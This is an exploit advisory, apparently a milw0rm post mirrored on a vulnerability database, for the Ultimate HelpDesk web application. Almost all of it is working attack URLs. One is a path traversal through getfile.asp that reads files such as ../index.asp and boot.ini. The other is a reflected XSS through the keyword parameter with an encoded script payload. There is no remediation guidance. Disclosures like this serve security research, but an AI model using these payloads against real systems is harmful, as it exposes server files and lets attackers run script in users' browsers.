Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15284
HistoryDec 02, 2006 - 12:00 a.m.

Ultimate HelpDesk All Version (Source/XSS) Vulnerabilities

2006-12-0200:00:00
vulners.com
51

Title : Ultimate HelpDesk All Version (Source/XSS) Vulnerabilities

Author : ajann

Contact : :(


Login Before Vulnerabilities.:

[[SOURCE]]]------------------------------------------------------

http://[target]/[path]//getfile.asp?filename=[SQL]

Example:

//getfile.asp?filename=../index.asp
//getfile.asp?filename=../../../boot.ini

[[/SOURCE]]]

[[XSS]]]---------------------------------------------------------

http://[target]/[path]//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=[XSS]

Example:

//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=%22%3E%3Cscript%3Ealert%28%27ajann%27%29%3B%3C%2Fscript%3E

[[/XSS]]]

"""""""""""""""""""""

ajann,Turkey

Im not Hacker!

milw0rm.com [2006-12-01]